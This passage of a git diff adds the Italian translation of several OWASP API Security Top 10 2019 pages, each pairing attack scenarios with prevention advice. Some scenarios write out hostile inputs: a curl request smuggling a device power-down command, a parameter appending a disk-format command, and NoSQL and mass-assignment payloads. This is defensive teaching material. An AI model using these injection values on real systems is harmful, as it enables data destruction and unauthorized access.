| È comune trovare API che non implementano il rate limiting o API in cui i limiti non sono impostati correttamente. | Lo sfruttamento può portare a DoS, rendendo l'API non reattiva o addirittura non disponibile. | + +## L'API è Vulnerabile? + +Le richieste API consumano risorse come rete, CPU, memoria e storage. La quantità +di risorse necessarie per soddisfare una richiesta dipende in larga misura +dall'input dell'utente e dalla logica di business dell'endpoint. È necessario +considerare anche il fatto che le richieste di più client API competono per le +risorse. Un'API è vulnerabile se almeno uno dei seguenti limiti è assente o +impostato in modo inappropriato (ad esempio troppo basso/alto): + +* Timeout di esecuzione +* Memoria massima allocabile +* Numero di file descriptor +* Numero di processi +* Dimensione del payload della richiesta (ad esempio caricamenti) +* Numero di richieste per client/risorsa +* Numero di record per pagina da restituire in una singola risposta alla richiesta + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un attaccante carica un'immagine di grandi dimensioni inviando una richiesta POST +a `/api/v1/images`. Una volta completato il caricamento, l'API crea più +miniature di dimensioni diverse. A causa delle dimensioni dell'immagine caricata, +la memoria disponibile si esaurisce durante la creazione delle miniature e l'API +diventa non reattiva. + +### Scenario #2 + +Un'applicazione contiene la lista degli utenti nell'interfaccia grafica con un +limite di `200` utenti per pagina. La lista degli utenti viene recuperata dal +server tramite la seguente query: `/api/users?page=1&size=200`. Un attaccante +modifica il parametro `size` impostandolo a `200 000`, causando problemi di +prestazioni nel database. Nel frattempo, l'API diventa non reattiva e non è in +grado di gestire ulteriori richieste da questo o da qualsiasi altro client +(alias DoS). + +Lo stesso scenario potrebbe essere utilizzato per provocare errori di Integer +Overflow o Buffer Overflow. + +## Come Prevenire + +* Docker semplifica la limitazione di [memoria][1], [CPU][2], + [numero di riavvii][3], [file descriptor e processi][4]. +* Implementare un limite alla frequenza con cui un client può chiamare l'API + in un determinato intervallo di tempo. +* Notificare al client quando il limite viene superato, fornendo il numero del + limite e il momento in cui il limite verrà reimpostato. +* Aggiungere una corretta validazione lato server per i parametri della query + string e del corpo della richiesta, in particolare quelli che controllano il + numero di record da restituire nella risposta. +* Definire e applicare una dimensione massima dei dati su tutti i parametri e + i payload in ingresso, come lunghezza massima delle stringhe e numero massimo + di elementi negli array. + +## Riferimenti + +### OWASP + +* [Blocking Brute Force Attacks][5] +* [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors, + processes, restarts)][6] +* [REST Assessment Cheat Sheet][7] + +### Esterni + +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][8] +* [CWE-770: Allocation of Resources Without Limits or Throttling][9] +* "_Rate Limiting (Throttling)_" - [Security Strategies for Microservices-based + Application Systems][10], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit +[5]: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks +[6]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts +[7]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md +[8]: https://cwe.mitre.org/data/definitions/307.html +[9]: https://cwe.mitre.org/data/definitions/770.html +[10]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf diff --git a/editions/2019/it/0xa5-broken-function-level-authorization.md b/editions/2019/it/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..c443a147c --- /dev/null +++ b/editions/2019/it/0xa5-broken-function-level-authorization.md @@ -0,0 +1,98 @@ +# API5:2019 Broken Function Level Authorization + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **3** | Diffusione **2** : Rilevabilità **1** | Tecnico **2** : Specifico per il Business | +| Lo sfruttamento richiede che l'attaccante invii chiamate API legittime all'endpoint API a cui non dovrebbe avere accesso. Questi endpoint potrebbero essere esposti a utenti anonimi o a utenti normali senza privilegi. È più facile scoprire queste falle nelle API poiché le API sono più strutturate e il modo per accedere a determinate funzioni è più prevedibile (ad esempio sostituendo il metodo HTTP da GET a PUT, o cambiando la stringa "users" nell'URL con "admins"). | I controlli di autorizzazione per una funzione o una risorsa vengono solitamente gestiti tramite configurazione, e a volte a livello di codice. Implementare controlli adeguati può essere un compito complesso, poiché le applicazioni moderne possono contenere molti tipi di ruoli o gruppi e gerarchie utente complesse (ad esempio sotto-utenti, utenti con più di un ruolo). | Tali falle consentono agli attaccanti di accedere a funzionalità non autorizzate. Le funzioni amministrative sono i principali obiettivi di questo tipo di attacco. | + +## L'API è Vulnerabile? + +Il modo migliore per individuare problemi di Broken Function Level Authorization +è eseguire un'analisi approfondita del meccanismo di autorizzazione, tenendo a +mente la gerarchia degli utenti, i diversi ruoli o gruppi nell'applicazione, e +ponendo le seguenti domande: + +* Un utente normale può accedere agli endpoint amministrativi? +* Un utente può eseguire azioni sensibili (ad esempio creazione, modifica o + cancellazione) a cui non dovrebbe avere accesso semplicemente cambiando il + metodo HTTP (ad esempio da `GET` a `DELETE`)? +* Un utente del gruppo X può accedere a una funzione che dovrebbe essere esposta + solo agli utenti del gruppo Y, semplicemente indovinando l'URL e i parametri + dell'endpoint (ad esempio `/api/v1/users/export_all`)? + +Non presumere che un endpoint API sia ordinario o amministrativo solo in base +al percorso URL. + +Sebbene gli sviluppatori possano scegliere di esporre la maggior parte degli +endpoint amministrativi sotto un percorso relativo specifico, come `api/admins`, +è molto comune trovare questi endpoint amministrativi sotto altri percorsi +relativi insieme agli endpoint ordinari, come `api/users`. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Durante il processo di registrazione per un'applicazione che consente solo agli +utenti invitati di iscriversi, l'app mobile effettua una chiamata API a +`GET /api/invites/{invite_guid}`. La risposta contiene un JSON con i dettagli +dell'invito, incluso il ruolo dell'utente e il suo indirizzo email. + +Un attaccante ha duplicato la richiesta e ha manipolato il metodo HTTP e +l'endpoint in `POST /api/invites/new`. Questo endpoint dovrebbe essere +accessibile solo dagli amministratori tramite la console di amministrazione, che +non implementa controlli di autorizzazione a livello di funzione. + +L'attaccante sfrutta la vulnerabilità e si invia un invito per creare un +account amministratore: + +``` +POST /api/invites/new + +{"email":"hugo@malicious.com","role":"admin"} +``` + +### Scenario #2 + +Un'API contiene un endpoint che dovrebbe essere esposto solo agli +amministratori — `GET /api/admin/v1/users/all`. Questo endpoint restituisce i +dettagli di tutti gli utenti dell'applicazione e non implementa controlli di +autorizzazione a livello di funzione. Un attaccante che ha appreso la struttura +dell'API fa un tentativo ragionato e riesce ad accedere a questo endpoint, che +espone dettagli sensibili degli utenti dell'applicazione. + +## Come Prevenire + +La tua applicazione dovrebbe avere un modulo di autorizzazione coerente e +facilmente analizzabile, invocato da tutte le funzioni di business. Spesso, +tale protezione è fornita da uno o più componenti esterni al codice +dell'applicazione. + +* Il meccanismo (o i meccanismi) di controllo deve negare l'accesso per + impostazione predefinita, richiedendo concessioni esplicite a ruoli specifici + per l'accesso a ogni funzione. +* Verificare gli endpoint API rispetto alle falle di autorizzazione a livello + di funzione, tenendo a mente la logica di business dell'applicazione e la + gerarchia dei gruppi. +* Assicurarsi che tutti i controller amministrativi ereditino da un controller + astratto amministrativo che implementa i controlli di autorizzazione in base + al gruppo/ruolo dell'utente. +* Assicurarsi che le funzioni amministrative all'interno di un controller + ordinario implementino controlli di autorizzazione basati sul gruppo e sul + ruolo dell'utente. + +## Riferimenti + +### OWASP + +* [OWASP Article on Forced Browsing][1] +* [OWASP Top 10 2013-A7-Missing Function Level Access Control][2] +* [OWASP Development Guide: Chapter on Authorization][3] + +### Esterni + +* [CWE-285: Improper Authorization][4] + +[1]: https://www.owasp.org/index.php/Forced_browsing +[2]: https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control +[3]: https://www.owasp.org/index.php/Category:Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2019/it/0xa6-mass-assignment.md b/editions/2019/it/0xa6-mass-assignment.md new file mode 100644 index 000000000..2eebc9fe2 --- /dev/null +++ b/editions/2019/it/0xa6-mass-assignment.md @@ -0,0 +1,91 @@ +# API6:2019 - Mass Assignment + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **2** | Diffusione **2** : Rilevabilità **2** | Tecnico **2** : Specifico per il Business | +| Lo sfruttamento richiede solitamente la comprensione della logica di business, delle relazioni tra oggetti e della struttura dell'API. Il Mass Assignment è più facile da sfruttare nelle API, poiché per design espongono l'implementazione sottostante dell'applicazione insieme ai nomi delle proprietà. | I framework moderni incoraggiano gli sviluppatori a utilizzare funzioni che associano automaticamente l'input del client a variabili di codice e oggetti interni. Gli attaccanti possono utilizzare questa metodologia per aggiornare o sovrascrivere proprietà sensibili degli oggetti che gli sviluppatori non avevano mai inteso esporre. | Lo sfruttamento può portare a escalation di privilegi, manomissione dei dati, aggiramento di meccanismi di sicurezza e altro. | + +## L'API è Vulnerabile? + +Gli oggetti nelle applicazioni moderne possono contenere molte proprietà. Alcune +di queste proprietà dovrebbero essere aggiornate direttamente dal client (ad +esempio `user.first_name` o `user.address`) e alcune non dovrebbero (ad esempio +il flag `user.is_vip`). + +Un endpoint API è vulnerabile se converte automaticamente i parametri del client +in proprietà degli oggetti interni, senza considerare la sensibilità e il livello +di esposizione di queste proprietà. Ciò potrebbe consentire a un attaccante di +aggiornare proprietà degli oggetti a cui non dovrebbe avere accesso. + +Esempi di proprietà sensibili: + +* **Proprietà legate ai permessi**: `user.is_admin`, `user.is_vip` dovrebbero + essere impostati solo dagli amministratori. +* **Proprietà dipendenti dal processo**: `user.cash` dovrebbe essere impostato + solo internamente dopo la verifica del pagamento. +* **Proprietà interne**: `article.created_time` dovrebbe essere impostato solo + internamente dall'applicazione. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un'applicazione di ride-sharing offre all'utente la possibilità di modificare +le informazioni di base del proprio profilo. Durante questo processo, una +chiamata API viene inviata a `PUT /api/v1/users/me` con il seguente oggetto JSON +legittimo: + +```json +{"user_name":"inons","age":24} +``` + +La richiesta `GET /api/v1/users/me` include una proprietà aggiuntiva +credit_balance: + +```json +{"user_name":"inons","age":24,"credit_balance":10} +``` + +L'attaccante ripete la prima richiesta con il seguente payload: + +```json +{"user_name":"attacker","age":60,"credit_balance":99999} +``` + +Poiché l'endpoint è vulnerabile al Mass Assignment, l'attaccante riceve crediti +senza pagare. + +### Scenario #2 + +Un portale di condivisione video consente agli utenti di caricare e scaricare +contenuti in diversi formati. Un attaccante che esplora l'API scopre che +l'endpoint `GET /api/v1/videos/{video_id}/meta_data` restituisce un oggetto JSON +con le proprietà del video. Una delle proprietà è +`"mp4_conversion_params":"-v codec h264"`, che indica che l'applicazione utilizza +un comando shell per convertire il video. + +L'attaccante trova anche che l'endpoint `POST /api/v1/videos/new` è vulnerabile +al Mass Assignment e consente al client di impostare qualsiasi proprietà +dell'oggetto video. L'attaccante imposta un valore malevolo come segue: +`"mp4_conversion_params":"-v codec h264 && format C:/"`. Questo valore causerà +un'injection di comandi shell nel momento in cui l'attaccante scaricherà il +video in formato MP4. + +## Come Prevenire + +* Se possibile, evitare l'uso di funzioni che associano automaticamente l'input + del client a variabili di codice o oggetti interni. +* Utilizzare una whitelist con solo le proprietà che devono essere aggiornate + dal client. +* Utilizzare le funzionalità integrate per inserire in una blacklist le proprietà + che non dovrebbero essere accessibili ai client. +* Se applicabile, definire e applicare esplicitamente degli schemi per i payload + dei dati in input. + +## Riferimenti + +### Esterni + +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][1] + +[1]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2019/it/0xa7-security-misconfiguration.md b/editions/2019/it/0xa7-security-misconfiguration.md new file mode 100644 index 000000000..3ec063d26 --- /dev/null +++ b/editions/2019/it/0xa7-security-misconfiguration.md @@ -0,0 +1,109 @@ +# API7:2019 Security Misconfiguration + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **3** | Diffusione **3** : Rilevabilità **3** | Tecnico **2** : Specifico per il Business | +| Gli attaccanti tentano spesso di trovare falle non patchate, endpoint comuni, o file e directory non protetti per ottenere accesso non autorizzato o informazioni sul sistema. | La configurazione errata della sicurezza può verificarsi a qualsiasi livello dello stack API, dal livello di rete al livello applicativo. Sono disponibili strumenti automatizzati per rilevare e sfruttare configurazioni errate come servizi non necessari o opzioni legacy. | Le configurazioni errate della sicurezza non solo espongono dati sensibili degli utenti, ma anche dettagli di sistema che possono portare alla compromissione totale del server. | + +## L'API è Vulnerabile? + +L'API potrebbe essere vulnerabile se: + +* Manca un adeguato hardening della sicurezza in qualsiasi parte dello stack + applicativo, o se i permessi sui servizi cloud sono configurati in modo errato. +* Mancano le patch di sicurezza più recenti, o i sistemi non sono aggiornati. +* Funzionalità non necessarie sono abilitate (ad esempio verbi HTTP). +* Manca il Transport Layer Security (TLS). +* Le direttive di sicurezza non vengono inviate ai client (ad esempio + [Security Headers][1]). +* Manca o è impostata in modo errato una policy Cross-Origin Resource Sharing + (CORS). +* I messaggi di errore includono stack trace o vengono esposte altre + informazioni sensibili. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un attaccante trova il file `.bash_history` nella directory root del server, che +contiene comandi utilizzati dal team DevOps per accedere all'API: + +``` +$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg==' +``` + +Un attaccante potrebbe anche trovare nuovi endpoint sull'API utilizzati solo dal +team DevOps e non documentati. + +### Scenario #2 + +Per prendere di mira un servizio specifico, un attaccante utilizza un popolare +motore di ricerca per cercare computer direttamente accessibili da Internet. +L'attaccante trova un host che esegue un popolare sistema di gestione di database +in ascolto sulla porta di default. L'host utilizzava la configurazione di default, +che ha l'autenticazione disabilitata per impostazione predefinita, e l'attaccante +ha ottenuto accesso a milioni di record con PII, preferenze personali e dati di +autenticazione. + +### Scenario #3 + +Analizzando il traffico di un'applicazione mobile, un attaccante scopre che non +tutto il traffico HTTP avviene su un protocollo sicuro (ad esempio TLS). L'attaccante +verifica che ciò sia vero, in particolare per il download delle immagini del +profilo. Poiché l'interazione dell'utente è binaria, nonostante il fatto che il +traffico API avvenga su un protocollo sicuro, l'attaccante individua uno schema +nelle dimensioni delle risposte API, che utilizza per tracciare le preferenze +dell'utente rispetto ai contenuti visualizzati (ad esempio le immagini del +profilo). + +## Come Prevenire + +Il ciclo di vita dell'API dovrebbe includere: + +* Un processo di hardening ripetibile che consenta una distribuzione rapida e + semplice di un ambiente adeguatamente protetto. +* Un'attività di revisione e aggiornamento delle configurazioni sull'intero + stack API. La revisione dovrebbe includere: file di orchestrazione, componenti + API e servizi cloud (ad esempio permessi dei bucket S3). +* Un canale di comunicazione sicuro per tutti gli accessi alle interazioni API e + agli asset statici (ad esempio immagini). +* Un processo automatizzato per valutare continuamente l'efficacia della + configurazione e delle impostazioni in tutti gli ambienti. + +Inoltre: + +* Per evitare che stack trace e altre informazioni preziose vengano inviate agli + attaccanti, se applicabile, definire e applicare tutti gli schemi dei payload + di risposta API, incluse le risposte di errore. +* Assicurarsi che l'API sia accessibile solo tramite i verbi HTTP specificati. + Tutti gli altri verbi HTTP devono essere disabilitati (ad esempio `HEAD`). +* Le API che si prevede vengano accedute da client basati su browser (ad esempio + il front-end di una WebApp) dovrebbero implementare una corretta policy + Cross-Origin Resource Sharing (CORS). + +## Riferimenti + +### OWASP + +* [OWASP Secure Headers Project][1] +* [OWASP Testing Guide: Configuration Management][2] +* [OWASP Testing Guide: Testing for Error Codes][3] +* [OWASP Testing Guide: Test Cross Origin Resource Sharing][9] + +### Esterni + +* [CWE-2: Environmental Security Flaws][4] +* [CWE-16: Configuration][5] +* [CWE-388: Error Handling][6] +* [Guide to General Server Security][7], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][8] + +[1]: https://www.owasp.org/index.php/OWASP_Secure_Headers_Project +[2]: https://www.owasp.org/index.php/Testing_for_configuration_management +[3]: https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) +[4]: https://cwe.mitre.org/data/definitions/2.html +[5]: https://cwe.mitre.org/data/definitions/16.html +[6]: https://cwe.mitre.org/data/definitions/388.html +[7]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[8]: https://letsencrypt.org/ +[9]: https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) diff --git a/editions/2019/it/0xa8-injection.md b/editions/2019/it/0xa8-injection.md new file mode 100644 index 000000000..a241acb23 --- /dev/null +++ b/editions/2019/it/0xa8-injection.md @@ -0,0 +1,108 @@ +# API8:2019 Injection + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **3** | Diffusione **2** : Rilevabilità **3** | Tecnico **3** : Specifico per il Business | +| Gli attaccanti alimentano l'API con dati malevoli attraverso qualsiasi vettore di injection disponibile (ad esempio input diretto, parametri, servizi integrati, ecc.), aspettandosi che vengano inviati a un interprete. | Le falle di injection sono molto comuni e si trovano spesso in query SQL, LDAP o NoSQL, comandi OS, parser XML e ORM. Queste falle sono facili da scoprire durante la revisione del codice sorgente. Gli attaccanti possono utilizzare scanner e fuzzer. | L'injection può portare a divulgazione di informazioni e perdita di dati. Può anche portare a DoS o alla compromissione totale dell'host. | + +## L'API è Vulnerabile? + +L'API è vulnerabile alle falle di injection se: + +* I dati forniti dal client non vengono validati, filtrati o sanificati dall'API. +* I dati forniti dal client vengono direttamente utilizzati o concatenati in + query SQL/NoSQL/LDAP, comandi OS, parser XML e Object Relational Mapping + (ORM)/Object Document Mapper (ODM). +* I dati provenienti da sistemi esterni (ad esempio sistemi integrati) non + vengono validati, filtrati o sanificati dall'API. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Il firmware di un dispositivo per il controllo parentale fornisce l'endpoint +`/api/CONFIG/restore` che si aspetta di ricevere un appId come parametro +multipart. Utilizzando un decompilatore, un attaccante scopre che l'appId viene +passato direttamente a una chiamata di sistema senza alcuna sanificazione: + +```c +snprintf(cmd, 128, "%srestore_backup.sh /tmp/postfile.bin %s %d", + "/mnt/shares/usr/bin/scripts/", appid, 66); +system(cmd); +``` + +Il seguente comando consente all'attaccante di spegnere qualsiasi dispositivo +con lo stesso firmware vulnerabile: + +``` +$ curl -k "https://${deviceIP}:4567/api/CONFIG/restore" -F 'appid=$(/etc/pod/power_down.sh)' +``` + +### Scenario #2 + +Un'applicazione con funzionalità CRUD di base per la gestione delle prenotazioni. +Un attaccante riesce a identificare che potrebbe essere possibile un'injection +NoSQL tramite il parametro `bookingId` nella query string della richiesta di +eliminazione di una prenotazione. La richiesta è la seguente: +`DELETE /api/bookings?bookingId=678`. + +Il server API utilizza la seguente funzione per gestire le richieste di +eliminazione: + +```javascript +router.delete('/bookings', async function (req, res, next) { + try { + const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId}); + res.status(200); + } catch (err) { + res.status(400).json({error: 'Unexpected error occured while processing a request'}); + } +}); +``` + +L'attaccante ha intercettato la richiesta e modificato il parametro `bookingId` +della query string come mostrato di seguito. In questo caso, l'attaccante è +riuscito a eliminare la prenotazione di un altro utente: + +``` +DELETE /api/bookings?bookingId[$ne]=678 +``` + +## Come Prevenire + +Prevenire l'injection richiede di mantenere i dati separati dai comandi e dalle +query. + +* Eseguire la validazione dei dati utilizzando una singola libreria affidabile e + attivamente mantenuta. +* Validare, filtrare e sanificare tutti i dati forniti dal client, o altri dati + provenienti da sistemi integrati. +* I caratteri speciali devono essere sottoposti a escape utilizzando la sintassi + specifica per l'interprete target. +* Preferire un'API sicura che fornisca un'interfaccia parametrizzata. +* Limitare sempre il numero di record restituiti per evitare divulgazioni massive + in caso di injection. +* Validare i dati in ingresso usando filtri sufficienti per consentire solo valori + validi per ogni parametro di input. +* Definire tipi di dati e pattern rigorosi per tutti i parametri stringa. + +## Riferimenti + +### OWASP + +* [OWASP Injection Flaws][1] +* [SQL Injection][2] +* [NoSQL Injection Fun with Objects and Arrays][3] +* [Command Injection][4] + +### Esterni + +* [CWE-77: Command Injection][5] +* [CWE-89: SQL Injection][6] + +[1]: https://www.owasp.org/index.php/Injection_Flaws +[2]: https://www.owasp.org/index.php/SQL_Injection +[3]: https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf +[4]: https://www.owasp.org/index.php/Command_Injection +[5]: https://cwe.mitre.org/data/definitions/77.html +[6]: https://cwe.mitre.org/data/definitions/89.html diff --git a/editions/2019/it/0xa9-improper-assets-management.md b/editions/2019/it/0xa9-improper-assets-management.md new file mode 100644 index 000000000..d51b67989 --- /dev/null +++ b/editions/2019/it/0xa9-improper-assets-management.md @@ -0,0 +1,89 @@ +# API9:2019 Improper Assets Management + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **3** | Diffusione **3** : Rilevabilità **2** | Tecnico **2** : Specifico per il Business | +| Le vecchie versioni API sono solitamente non patchate e rappresentano un modo semplice per compromettere i sistemi senza dover affrontare i meccanismi di sicurezza più avanzati, che potrebbero essere presenti per proteggere le versioni API più recenti. | La documentazione obsoleta rende più difficile trovare e/o correggere le vulnerabilità. La mancanza di inventario degli asset e di strategie di dismissione porta all'esecuzione di sistemi non aggiornati, con conseguente divulgazione di dati sensibili. È comune trovare host API esposti inutilmente a causa di concetti moderni come i microservizi, che rendono le applicazioni facili da distribuire e indipendenti (ad esempio cloud computing, k8s). | Gli attaccanti possono accedere a dati sensibili, o addirittura prendere il controllo del server tramite vecchie versioni API non patchate collegate allo stesso database. | + +## L'API è Vulnerabile? + +L'API potrebbe essere vulnerabile se: + +* Lo scopo di un host API non è chiaro e non ci sono risposte esplicite alle + seguenti domande: + * In quale ambiente è in esecuzione l'API (ad esempio produzione, staging, + test, sviluppo)? + * Chi dovrebbe avere accesso di rete all'API (ad esempio pubblico, interno, + partner)? + * Quale versione dell'API è in esecuzione? + * Quali dati vengono raccolti ed elaborati dall'API (ad esempio PII)? + * Qual è il flusso dei dati? +* Non esiste documentazione, o la documentazione esistente non è aggiornata. +* Non esiste un piano di dismissione per ogni versione API. +* L'inventario degli host è assente o non aggiornato. +* L'inventario dei servizi integrati, di prima o terza parte, è assente o non + aggiornato. +* Le versioni API vecchie o precedenti sono in esecuzione senza patch. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Dopo aver riprogettato le proprie applicazioni, un servizio di ricerca locale +ha lasciato in esecuzione una vecchia versione API (`api.someservice.com/v1`), +non protetta e con accesso al database degli utenti. Prendendo di mira una delle +applicazioni rilasciate più di recente, un attaccante ha trovato l'indirizzo API +(`api.someservice.com/v2`). Sostituendo `v2` con `v1` nell'URL, l'attaccante ha +ottenuto accesso alla vecchia API non protetta, esponendo le informazioni di +identificazione personale (PII) di oltre 100 milioni di utenti. + +### Scenario #2 + +Un social network ha implementato un meccanismo di rate limiting che blocca gli +attaccanti dall'utilizzo della forza bruta per indovinare i token di reset della +password. Questo meccanismo non era implementato come parte del codice API stesso, +ma in un componente separato tra il client e l'API ufficiale +(`www.socialnetwork.com`). Un ricercatore ha trovato un host API beta +(`www.mbasic.beta.socialnetwork.com`) che esegue la stessa API, incluso il +meccanismo di reset della password, ma il meccanismo di rate limiting non era +presente. Il ricercatore è riuscito a reimpostare la password di qualsiasi utente +utilizzando la semplice forza bruta per indovinare il token a 6 cifre. + +## Come Prevenire + +* Creare un inventario di tutti gli host API e documentare gli aspetti importanti + di ognuno, concentrandosi sull'ambiente API (ad esempio produzione, staging, + test, sviluppo), su chi dovrebbe avere accesso di rete all'host (ad esempio + pubblico, interno, partner) e sulla versione API. +* Creare un inventario dei servizi integrati e documentare aspetti importanti + come il loro ruolo nel sistema, quali dati vengono scambiati (flusso di dati) + e la loro sensibilità. +* Documentare tutti gli aspetti dell'API come autenticazione, errori, redirect, + rate limiting, policy CORS (cross-origin resource sharing) ed endpoint, + inclusi i loro parametri, richieste e risposte. +* Generare documentazione automaticamente adottando standard aperti. Includere + la generazione della documentazione nella pipeline CI/CD. +* Rendere la documentazione API disponibile a coloro che sono autorizzati a + utilizzare l'API. +* Utilizzare misure di protezione esterne come firewall per la sicurezza delle + API per tutte le versioni esposte delle API, non solo per la versione in + produzione attuale. +* Evitare l'uso di dati di produzione con distribuzioni API non di produzione. + Se ciò è inevitabile, questi endpoint devono ricevere lo stesso trattamento + di sicurezza di quelli di produzione. +* Quando le versioni più recenti delle API includono miglioramenti di sicurezza, + eseguire un'analisi del rischio per prendere la decisione sulle azioni di + mitigazione necessarie per la versione precedente: ad esempio, valutare se è + possibile applicare i miglioramenti retroattivamente senza compromettere la + compatibilità API, o se è necessario ritirare rapidamente la versione + precedente e forzare tutti i client a migrare all'ultima versione. + +## Riferimenti + +### Esterni + +* [CWE-1059: Incomplete Documentation][1] +* [OpenAPI Initiative][2] + +[1]: https://cwe.mitre.org/data/definitions/1059.html +[2]: https://www.openapis.org/ diff --git a/editions/2019/it/0xaa-insufficient-logging-monitoring.md b/editions/2019/it/0xaa-insufficient-logging-monitoring.md new file mode 100644 index 000000000..0b2ddc8a1 --- /dev/null +++ b/editions/2019/it/0xaa-insufficient-logging-monitoring.md @@ -0,0 +1,74 @@ +# API10:2019 Insufficient Logging & Monitoring + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **2** | Diffusione **3** : Rilevabilità **1** | Tecnico **2** : Specifico per il Business | +| Gli attaccanti approfittano della mancanza di logging e monitoraggio per abusare dei sistemi senza essere notati. | Senza logging e monitoraggio, o con logging e monitoraggio insufficienti, è quasi impossibile tracciare attività sospette e rispondervi in modo tempestivo. | Senza visibilità sulle attività malevole in corso, gli attaccanti hanno tutto il tempo necessario per compromettere completamente i sistemi. | + +## L'API è Vulnerabile? + +L'API è vulnerabile se: + +* Non produce alcun log, il livello di logging non è impostato correttamente, o + i messaggi di log non includono dettagli sufficienti. +* L'integrità dei log non è garantita (ad esempio [Log Injection][1]). +* I log non vengono monitorati continuamente. +* L'infrastruttura API non viene monitorata continuamente. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Le chiavi di accesso di un'API amministrativa sono state divulgate in un +repository pubblico. Il proprietario del repository è stato notificato via email +della potenziale divulgazione, ma ha impiegato più di 48 ore per agire +sull'incidente, e l'esposizione delle chiavi di accesso potrebbe aver consentito +l'accesso a dati sensibili. A causa di un logging insufficiente, l'azienda non +è in grado di valutare a quali dati hanno avuto accesso gli attori malevoli. + +### Scenario #2 + +Una piattaforma di condivisione video è stata colpita da un attacco di +credential stuffing "su larga scala". Nonostante i tentativi di login falliti +fossero registrati nei log, durante l'arco temporale dell'attacco non è stato +attivato alcun alert. In risposta alle lamentele degli utenti, i log dell'API +sono stati analizzati e l'attacco è stato rilevato. L'azienda ha dovuto fare un +annuncio pubblico chiedendo agli utenti di reimpostare le proprie password e +segnalare l'incidente alle autorità di regolamentazione. + +## Come Prevenire + +* Registrare tutti i tentativi di autenticazione falliti, gli accessi negati e + gli errori di validazione dell'input. +* I log devono essere scritti in un formato adatto per essere consumato da una + soluzione di gestione dei log e devono includere dettagli sufficienti per + identificare l'attore malevolo. +* I log devono essere gestiti come dati sensibili e la loro integrità deve essere + garantita sia a riposo che in transito. +* Configurare un sistema di monitoraggio per monitorare continuamente + l'infrastruttura, la rete e il funzionamento dell'API. +* Utilizzare un sistema SIEM (Security Information and Event Management) per + aggregare e gestire i log di tutti i componenti dello stack API e degli host. +* Configurare dashboard e alert personalizzati, consentendo di rilevare e + rispondere prima alle attività sospette. + +## Riferimenti + +### OWASP + +* [OWASP Logging Cheat Sheet][2] +* [OWASP Proactive Controls: Implement Logging and Intrusion Detection][3] +* [OWASP Application Security Verification Standard: V7: Error Handling and + Logging Verification Requirements][4] + +### Esterni + +* [CWE-223: Omission of Security-relevant Information][5] +* [CWE-778: Insufficient Logging][6] + +[1]: https://www.owasp.org/index.php/Log_Injection +[2]: https://www.owasp.org/index.php/Logging_Cheat_Sheet +[3]: https://www.owasp.org/index.php/OWASP_Proactive_Controls +[4]: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md +[5]: https://cwe.mitre.org/data/definitions/223.html +[6]: https://cwe.mitre.org/data/definitions/778.html diff --git a/editions/2019/it/0xb0-next-devs.md b/editions/2019/it/0xb0-next-devs.md new file mode 100644 index 000000000..1159681c7 --- /dev/null +++ b/editions/2019/it/0xb0-next-devs.md @@ -0,0 +1,36 @@ +# Prossimi Passi per gli Sviluppatori + +Il compito di creare e mantenere software sicuro, o di correggere quello +esistente, può essere difficile. Le API non fanno eccezione. + +Crediamo che l'educazione e la consapevolezza siano fattori chiave per scrivere +software sicuro. Tutto il resto necessario per raggiungere l'obiettivo dipende +dall'**adozione e dall'utilizzo di processi di sicurezza ripetibili e controlli +di sicurezza standard**. + +OWASP dispone di numerose risorse gratuite e aperte per affrontare la sicurezza +fin dall'inizio del progetto. Visita la [pagina dei Progetti OWASP][1] per un +elenco completo dei progetti disponibili. + +| | | +|-|-| +| **Formazione** | Puoi iniziare consultando i [materiali del Progetto OWASP Education][2] in base alla tua professione e ai tuoi interessi. Per l'apprendimento pratico, abbiamo inserito **crAPI** - **C**ompletely **R**idiculous **API** nella 